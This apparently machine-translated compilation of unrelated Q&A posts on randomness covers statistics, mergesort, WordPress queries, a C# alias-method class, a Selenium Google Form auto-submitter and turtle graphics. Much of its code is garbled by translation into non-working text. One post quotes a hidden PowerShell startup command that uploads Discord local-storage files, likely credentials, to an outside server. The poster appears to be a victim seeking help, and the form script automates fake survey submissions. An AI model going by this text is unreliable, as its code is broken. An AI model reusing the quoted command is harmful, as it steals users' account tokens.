## Random – Rebuild a distribution using summary statistics and percentiles

I have a summary of statistics and several percentiles generated from a set of data. This includes: average, standard, min, p10, p25, p50, p75, p90, p95, max

Is there a way to reconstruct the distribution of data from the previous numbers?

I tried to generate subsets of the distribution that satisfied the percentiles (
https://stackoverflow.com/questions/14547364/generate-distribution-given-percentile-ranks)

That worked quite well for examples like:

average, std, min, p10, p25, p50, p75, p90, p95, max

63.6118, 36.1138, 0, 0, 45.8822, 75, 100, 100, 100, 100

and very bad for examples such as:

average, std, min, p10, p25, p50, p75, p90, p95, max

0.0346, 0.8115, 0, 0, 0, 0, 0.0016, 0.0092, 0.0338, 29.4324

Is there a method that works well without having assumptions about the asymmetry of the underlying distribution or its modality (for example, unimodal versus multimodal)?

Any help is really appreciated!

## Complexity of the mixture combination that is divided into a random position

I have a question that I do not completely understand:
Given a new algorithm to combine sort (AKA mergesort2) that instead of dividing the list in the middle, divides the list into a random number between 1- n-1.
Also, we know that the probability of obtaining 1 is 2 / ny for all other numbers 1 / n.

I tried again and again and I came up with the usual $$theta (n * logn)$$ of the fusion classification algorithm, but I'm not sure about that.

Pseudo-Code:

``````            MergeSort2 (A, p, q)
if (p = q) then it returns
i = random number of (1 ... q-p)
MergeSort2 (A, p, p + i-1)
MergeSort2 (A, p + i, q)
Combine (A, p, p + i-1, q)
``````

How do I correctly calculate the complexity of the given algorithm?

## How to show recent / random posts by category

trying to show random publications of each category to which my personalized publication belongs (it is related to 2 categories). I'm trying to get email categories by ID.
I have tried to put the category ID manually, but it still shows random publications of ALL publications of its kind.
Can someone help me with this?

``````ID, & # 39; listing-category & # 39 ;, array (& # 39; fields & # 39; => & # 39; ids & # 39;));
\$ args = array (
& # 39; post_type & # 39; => & # 39; listing & # 39 ;,
& # 39; category & # 39; => \$ term_list[0],
& # 39; post_status & # 39; => & # 39; publish & # 39 ;,
& # 39; orderby & # 39; => & # 39; rand & # 39 ;,
& # 39; posts_per_page & # 39; => 3,
);

\$ the_query = new WP_Query (\$ args);

if (\$ the_query-> have_posts ()) {
while (\$ the_query-> have_posts ()) {
\$ the_query-> the_post ();
\$ rand_posts. = & # 39; & # 39; Obtain the tittle (). & # 39; & # 39 ;;
}
echo \$ rand_posts;
wp_reset_postdata ();
}
?>
``````

## c # – Generation of skewed random values ​​(Walker alias method)

I just wonder if I made a serious mistake by implementing the Alias ​​Method as a `IEnumerator`; I would also like to know if there are any general improvements that can be made to the design of the class.

Use:

``````var rng = Pcg32XshRr.New (0, 1);
generator var = ProbabilisticEnumerator
.New(
elementWeights: new dictionary {
{"A", 1},
{"B", 2},
{"C", 4}
}
randomNumberGenerator: rng
)
.Take (100000);
summary var = generator
.GroupBy (item => item)
.Select (item => new {
Element = item.Key,
Count = item.Count (),
})
.OrderBy (item => item.Element);

foreach (element var in summary) {
Console.WriteLine (\$ "{item.Element} | {item.Count}");
}
``````

Code:

Nuget package

Repository of sources

``````///
/// Represents an enumerator that produces elements according to the rules described by a probability table; is based on the implementation of Michael D Vose's Walker's alias method.
///
/// The type of elements encapsulated by the enumerator.
///
/// Derived from https://github.com/BlueRaja/Weighted-Item-Randomizer-for-C-Sharp.
///
public class ProbabilisticEnumerator : IEnumerable, IEnumerator
{
{
public int ActualIndex {get; }
public int AliasedIndex {get; }
public int Threshold {get; }

Public ElementMetadata (int actualIndex, int aliasedIndex, int biasAreaSize) {
ActualIndex = actualIndex;
AliasedIndex = aliasedIndex;
Threshold = biasAreaSize;
}
}

///
/// Get the next random element.
///
Public news
obtain {
elements var = m_elements;
var heightPerRectangle = m_heightPerRectangle;
var randomNumberGenerator = m_randomNumberGenerator;
var randomHeight = randomNumberGenerator.NextInt32 (0, heightPerRectangle);

}
}
///
/// Get the next random element.
///
object IEnumerator.Current => Current;

///
/// Initialize a new instance of the  class.
///
/// The collection of pairs of weight elements that defines the rules for the table.
/// The source of the random numbers that will be used to make extraction elements of the table.
Private Probabilistic Enumerator (IReadOnlyDictionary elementWeights, IUniformlyDistributedRandomNumberGenerator randomNumberGenerator) {
if (elementWeights.IsNull ()) {
throw the new exception ArgumentNullException (paramName: nameof (elementWeights));
}

var account = unchecked ((ulong) elementWeights.Count);
var elements = new element[count];
index var = 0;
var totalWeight = 0UL;

foreach (var kvp in elementWeights) {
var element = kvp.Key;
weight var = kvp.Value;

yes (0> weight) {
launch a new ArgumentOutOfRangeException (currentValue: weight, message: "weight must be a positive integer", paramName: nameof (weight));
}

elements[index++] = element;
total weight + = unmarked ((ulong) weight);
}

var gcd = BitwiseHelpers.GreatestCommonDivisor (count, totalWeight);
var heightPerRectangle = marked ((int) (totalWeight / gcd));
var weightMultiplier = verified ((int) (count / gcd));

m_elements = elements;
m_heightPerRectangle = heightPerRectangle;
m_randomNumberGenerator = randomNumberGenerator;
}

///
/// Releases all resources used by this  example.
///
public void Dispose () {}
///
/// Returns an enumerator that produces a random element of the table.
///
I Public enumerator GetEnumerator () => this;
///
/// Returns an enumerator that produces a random element of the table.
///
IEnumerator IEnumerable.GetEnumerator () => GetEnumerator ();
///
/// Returns true.
///
public bool MoveNext () => true;
///
/// shots .
///
public void Reset () => new NotSupportedException ();

var account = elementWeights.Count;
index var = 0;
var stackLarge = new Stack <KeyValuePair> ();
var stackSmall = new Stack <KeyValuePair> ();

foreach (var kvp in elementWeights) {
var newWeight = (kvp.Value * weightMultiplier);

if (newWeight> heightPerRectangle) {
stackLarge.Push (new KeyValuePair(index ++, newWeight));
}
else {
stackSmall.Push (new KeyValuePair(index ++, newWeight));
}
}

while (0 <stackLarge.Count) {
var largeItem = stackLarge.Pop ();
var smallItem = stackSmall.Pop ();

largeItem = new KeyValuePair(largeItem.Key, (largeItem.Value - (heightPerRectangle - smallItem.Value)));

if (largeItem.Value> heightPerRectangle) {
stackLarge.Push (largeItem);
}
else {
stackSmall.Push (largeItem);
}

}

while (0 <stackSmall.Count) {
var smallItem = stackSmall.Pop ();

}

}

///
/// Initialize a new instance of the  class.
///
/// The collection of pairs of weight elements that defines the rules for the table.
/// The source of the random numbers that will be used to make extraction elements of the table.
Static probabilistic static enumerator New (IReadOnlyDictionary elementWeights, IUniformlyDistributedRandomNumberGenerator randomNumberGenerator) => new ProbabilisticEnumerator(elementWeights, randomNumberGenerator);
}

///
/// A collection of methods that directly or indirectly increase the  class.
///
public static class ProbabilisticEnumerator
{
///
/// Initialize a new instance of the  class.
///
/// The collection of pairs of weight elements that defines the rules for the table.
/// The source of the random numbers that will be used to make extraction elements of the table.
Static probabilistic static enumerator New(IReadOnlyDictionary elementWeights, IUniformlyDistributedRandomNumberGenerator randomNumberGenerator) => ProbabilisticEnumerator.New (elementWeights, randomNumberGenerator);
}
``````

## python – Send random options in the Google form

I have written a Python script that randomly selects the radio buttons for each question and sends the Google form. My main questions to improve are:

• Algorithm: I collect all the buttons in a 2D matrix, then use `random choice` to select the radio buttons based on each nested array. I'm sure there's a better way to do it, since my algorithm is basically encrypted.
• Performance: I know `random choice` It takes a lot longer than other methods, but it's the only way I know enough to write with it.
• Wait time: At this moment, I wait .75 seconds before entering another form. I wonder if there is a way to wait for the page to load completely, instead of waiting and waiting for it to load fast enough to not generate a Page not found error.

script.py

``````#run with python3
from Selenium Import Webdriver
import randomly
import time

# Set routes and open the Chrome browser
chrome_path = "desktop / code / python / driver / chrome / chromedriver"
driver = webdriver.Chrome (chrome_path)
driver.get (website_path)

# Define options based on each section

# EXCEPTION: 9 18 25 28 31 (for text areas)
options = [
[0, 1, 2, 3],
[4, 5, 6],
[7, 8],
[10, 11],
[12, 13, 14, 15],
[16, 17],
[19, 20, 21],
[22, 23, 24],
[26, 27],
[29, 30],
[32, 33]
]# Main loop
main def (counter):
account = counter + 1

#Collect all buttons on the page and send button
submit = driver.find_element_by_xpath ("// *[@class='quantumWizButtonPaperbuttonLabel exportLabel']")

""
Choose randomly an option of the 2D matrix depending on what I am, and that
number is the index of `buttons`, in which the button will be clicked on that index
""
for i in range (len (options)):
buttons[random.choice(options[i])].click()

# Submission form
send.click ()

# Go to the previous page, which will be the form
driver.execute_script ("window.history.go (-1)")

#Output how many forms have been sent so far
print (f "Form # {count} has been sent!)

# Wait for the page to load again, then call main to run again
time.sleep (.75)
main (count)

yes __name__ == & # 39; __ main __ & # 39;
Main (0)
``````

## Randomness: Are real computers capable of producing true random series with a finite length program?

Question: Suppose one has a Blum-Shub-Smale machine, is it possible to write a finite-length program that produces a series of numbers, each with a finite number of digits, so that these numbers are truly random in Does the sense of Kolmogorov's randomness, that is, no finite-length program in a Turing machine, produce the same series of numbers?

## Python – Random Mandala – Stack exchange code exchange

I did a project in Python in which I combined the user input, the random module and the turtle module to create a kind of "Mandala Generator", or a program that can generate a simple random design or according to the users' specifications . Is there any way to shorten my code without changing it drastically?

``````# Python custom mandala project
import turtle
import randomly
import time

#is the game in progress?
drawing = false

# Define turtle
feather = turtle Turtle ()
pen.pensize (3)
pen.speed (12)

#colors empty list
colors = []

# Define variables
LINE1, LINE2 = "~" * 36, "~" * 24

# Define the verification entry function
def get_input (response, values):
# Make sure the entry is in the options
while True
value = input (response) .strip (). lower ()
If value in values:
return value

# Define the main function
def main ():
print (LINE1 + " nCustom Mandala Packer  n" + LINE1)
name = entry ("what is your name?")
print ("In this custom mandala generator, you can choose the size and colors of your mandala, or have the computer generate a random,", name, ".  n" + LINE2)
time.sleep (1)

answer = get_input ("Would you like to use our random generator function or our custom function? {random / custom}", {"random", "custom"})

# universal variables
size = random.uniform (1.5, 2.5)
fd = 75 * size

If the answer is == "random":
colors.extend (("" darkred "," red "," yellow "," darkgreen "," green "," lightgreen "," darkblue "," blue "," purple "))
#rt = turn to the right
rt = random.uniform (100, 300)

print (LINE2 + " nYou can choose any color from this list for your Mandala:  nFrames, red, yellow, dark green, green, light green, dark blue, blue, purple")
color1 = get_input ("What is the first color?", {"darkred", "red", "yellow", "darkgreen", "green", "lightgreen", "darkblue", "blue", "purple" })
color2 = get_input ("What is the second color?", {"darkred", "red", "yellow", "darkgreen", "green", "lightgreen", "darkblue", "blue", "purple" })
colors.extend ((color1, color2))
rt = int (entry ("At what angle do you want your Mandala to turn?"))

# pre-drawing sequence
print (LINE2 + " nInitializing ...")
print ("Determine features ...  nColor ...  nSize ...")
time.sleep (3)
print (LINE1 + " nThe final result must be at this point!  nThank you for using the generator,", name, "!")

For counter in range (50):
selection = random choice (colors)
pen.color (selection)
pen.forward (fd)
pen.right (rt)

plus:
print ("Come and use the custom generator later!")

principal()
``````

## What is this PowerShell script that sends conflicting information to a random server?

When I turned on my personal computer with Windows 10 tonight, I was greeted when ConEmu told me that two PowerShell commands were executed at startup. Both commands were the same thing:

``````powershell -windowstyle hidden -Command "& {& invoke-webrequest -method put -infile & # 39; C:  Users  foo  AppData  Roaming  Discord  Local Storage  leveldb  000005.ldb & # 39; https: // rip.rblx.dev/ do /} "
``````

The source of these commands are two batch files in C: ProgramData Microsoft Windows Start Menu Programs StartUp – LVTUSIX.bat and LVTUSIXd.bat. Both files were created this morning when I was away from my computer (about 30 minutes after turning it on). I do not know a way to see who / what created the files: they are owned by the group of administrators.

I can not find anything online about rip.rblx.dev or these batch files. A whois search in the domain reveals that all information is protected by privacy.

I suspect that some research reveals that these .ldb files contain Discord user credentials.

Is anyone aware of what could be happening? Alternatively, does anyone have advice on how to find more information? Since then, I've temporarily trashed the files to prevent them from running until I know more. Thanks in advance.

## probability – maps a random variable to a Gaussian

If I have a random variable $$X in mathbb {R} ^ n$$, under what conditions there is a $$C ^ 1$$ function $$varphi: mathbb {R} ^ n rightarrow mathbb {R} ^ n$$ such that $$varphi (X) sim mathcal {N} (0, I_n)$$ (vector $$n$$ independent normal variables)?

$$X$$ It probably has to have a density to begin with … But I'm a bit stuck there. I know that if $$n = 1$$, the inverse transformation sampling can be used to solve this problem, but I have trouble finding a generalization to $$R ^ n$$.

## How to code and plot the conditional probability distribution for more than three random variables?

I want to code and plot the above probability equation where each of the random variables (R, A, B, C) is distributed evenly in the range from 0 to 1. How should I code and plot the distribution in math and "," denotes Joint distribution. Please suggest me thank you